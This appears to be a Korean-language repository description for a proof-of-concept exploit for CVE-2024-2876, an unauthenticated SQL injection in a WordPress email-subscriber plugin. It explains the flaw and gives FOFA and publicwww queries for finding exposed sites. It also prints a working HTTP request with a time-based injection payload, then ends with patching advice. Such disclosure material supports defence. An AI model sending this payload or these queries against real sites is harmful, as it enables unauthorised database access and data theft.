aerchy/cve-2024-2876CVE-2024-2876에 대한 개념 증명 익스플로잇으로, Icegram Express의 Email Subscribers WordPress 플러그인에서 발생하는 치명적인 SQL 인젝션 취약점으로, 인증되지 않은 공격자가 임의의 SQL 쿼리를 실행할 수 있게 합니다.
CVE-2024-2876은 WordPress용 "Email Subscribers by Icegram Express" 플러그인에서 발견된 심각한 보안 취약점입니다. 이 취약점은 5.7.14 이하 버전에 영향을 미치며 90,000개 이상의 웹사이트에 심각한 위험을 초래합니다.
이 취약점은 인증되지 않은 공격자가 영향을 받는 WordPress 데이터베이스에서 악성 SQL 쿼리를 실행할 수 있게 하는 SQL 인젝션 결함입니다. 제대로 삭제(샌니타이즈)되지 않은 사용자 입력을 조작함으로써 공격자는 사용자 이름, 이메일 주소, 비밀번호 해시 및 구독자 목록과 같은 민감한 정보를 추출할 수 있습니다.
SQL 인젝션은 플러그인의 IG_ES_Subscribers_Query 클래스에 있는 run 함수 내에서 발생하며, 부적절한 입력 검증으로 인해 승인되지 않은 SQL 코드가 실행됩니다. 이로 인해 WordPress 데이터베이스에 저장된 데이터의 무결성과 기밀성이 손상됩니다.
FOFA : body="/wp-content/plugins/email-subscribers/"
publicwww : "/wp-content/plugins/email-subscribers/"
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
즉시 업데이트: "Email Subscribers by Icegram Express" 플러그인을 사용 중이라면 보안 패치를 적용하기 위해 즉시 버전 5.7.15 이상으로 업그레이드하세요.
정기적인 감사: 모든 WordPress 플러그인과 테마를 최신 버전으로 정기적으로 검토하고 업데이트하여 보안을 유지하세요.
보안 플러그인: SQL 인젝션 및 기타 사이버 위협에 대한 방어를 강화하기 위해 신뢰할 수 있는 WordPress 보안 플러그인을 사용하세요.
강력한 비밀번호 정책: WordPress 사이트와 관련된 모든 계정에 강력하고 고유한 비밀번호를 구현하여 무단 액세스 위험을 줄이세요.
영향을 받는 플러그인을 업데이트하지 않으면 웹사이트가 데이터 유출 및 무단 액세스에 취약해질 수 있습니다. 이 플러그인의 광범위한 사용을 고려할 때, 설치를 보호하기 위한 즉각적인 조치가 중요합니다.